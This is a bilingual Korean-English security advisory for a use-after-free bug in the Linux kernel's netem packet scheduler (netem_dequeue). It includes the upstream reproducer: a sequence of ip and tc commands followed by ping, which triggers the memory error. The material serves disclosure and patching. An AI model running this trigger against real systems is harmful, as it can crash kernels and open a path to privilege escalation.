🇰🇷 한글 설명
리눅스 커널의 sch/netem 구성 요소에서 netem_dequeue 함수 호출 시 Use-After-Free(UaF) 취약점이 발견되었습니다. 패킷이 드롭될 때 qdisc_tree_reduce_backlog()가 호출되지 않아 부모 qdisc의 q.qlen이 업데이트되지 않는 것이 원인입니다.
💡 쉬운 설명
네트워크 패킷을 처리하는 과정에서 메모리 관리 오류가 발생하여, 이미 사용이 끝난 메모리 영역에 다시 접근할 수 있는 보안 약점입니다. 이를 통해 공격자가 시스템을 중단시키거나 권한을 탈취할 위험이 있습니다.
🇺🇸 원문 (English)
In the Linux kernel, the following vulnerability has been resolved:
sch/netem: fix use after free in netem_dequeue
If netem_dequeue() enqueues packet to inner qdisc and that qdisc
returns __NET_XMIT_STOLEN. The packet is dropped but
qdisc_tree_reduce_backlog() is not called to update the parent's
q.qlen, leading to the similar use-after-free as Commit
e04991a48dbaf382 ("netem: fix return value if duplicate enqueue
fails")
Commands to trigger KASAN UaF:
ip link add type dummy
ip link set lo up
ip link set dummy0 up
tc qdisc add dev lo parent root handle 1: drr
tc filter add dev lo parent 1: basic classid 1:1
tc class add dev lo classid 1:1 drr
tc qdisc add dev lo parent 1:1 handle 2: netem
tc qdisc add dev lo parent 2: handle 3: drr
tc filter add dev lo parent 3: basic classid 3:1 action mirred egress
redirect dev dummy0
tc class add dev lo classid 3:1 drr
ping -c1 -W0.01 localhost # Trigger bug
tc class del dev lo classid 1:1
tc class add dev lo classid 1:1 drr
ping -c1 -W0.01 localhost # UaF
📍 영향받는 시스템
Linux Kernel (netem 모듈을 사용하는 환경)
⚔️ 공격 벡터
특정 네트워크 트래픽 제어(tc) 설정을 구성하여 패킷 드롭을 유도함으로써 메모리 오류를 발생시킴
🛡️ 대응 방법
리눅스 커널을 최신 보안 패치가 적용된 버전으로 업데이트
🔧 검증 코드
출력된 커널 버전이 해당 취약점이 수정된 패치 버전 이후인지 확인